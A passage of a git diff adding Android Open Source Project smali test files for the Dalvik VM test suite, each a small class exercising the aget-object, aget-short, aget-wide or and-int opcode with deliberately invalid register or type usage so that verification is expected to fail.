+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([FI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali
new file mode 100644
index 0000000..990063f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_6.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali
new file mode 100644
index 0000000..e23a71f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_7.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v6
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali
new file mode 100644
index 0000000..d96a916
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_8.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;F)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali
new file mode 100644
index 0000000..28a0448
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_9.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v9
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali
new file mode 100644
index 0000000..b4e9e9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_1.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali
new file mode 100644
index 0000000..28e1d57
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_2.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1.0
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali
new file mode 100644
index 0000000..ea65a70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_3.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       const-wide v1, 1
+       aget-short v0, v7, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali
new file mode 100644
index 0000000..9410d8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_4.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali
new file mode 100644
index 0000000..9c58954
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_5.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali
new file mode 100644
index 0000000..389e221
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_6.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali
new file mode 100644
index 0000000..fcb8077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_7.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali
new file mode 100644
index 0000000..1dc33fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_8.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SF)S
+.registers 9
+
+       aget-short v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali
new file mode 100644
index 0000000..e0daf55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_short/d/T_aget_short_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_short_9.java"
+.class  public Ldot/junit/opcodes/aget_short/d/T_aget_short_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([SI)S
+.registers 9
+
+       aget-short v0, v7, v9
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali
new file mode 100644
index 0000000..424b1c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_1.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali
new file mode 100644
index 0000000..45a29f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_10.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_10.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JF)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali
new file mode 100644
index 0000000..9b7300a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_11.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_11.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v7, v6, v7
+       return-wide v7
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali
new file mode 100644
index 0000000..c0ce4cdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_2.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)D
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali
new file mode 100644
index 0000000..29f243b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_3.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 1.0
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali
new file mode 100644
index 0000000..382ddb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_5.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 10
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali
new file mode 100644
index 0000000..8530969
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_6.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali
new file mode 100644
index 0000000..f6a1464
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_7.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali
new file mode 100644
index 0000000..4e6ffb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_8.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali
new file mode 100644
index 0000000..72afc2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_9.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v8
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali
new file mode 100644
index 0000000..b2c175d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_1.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
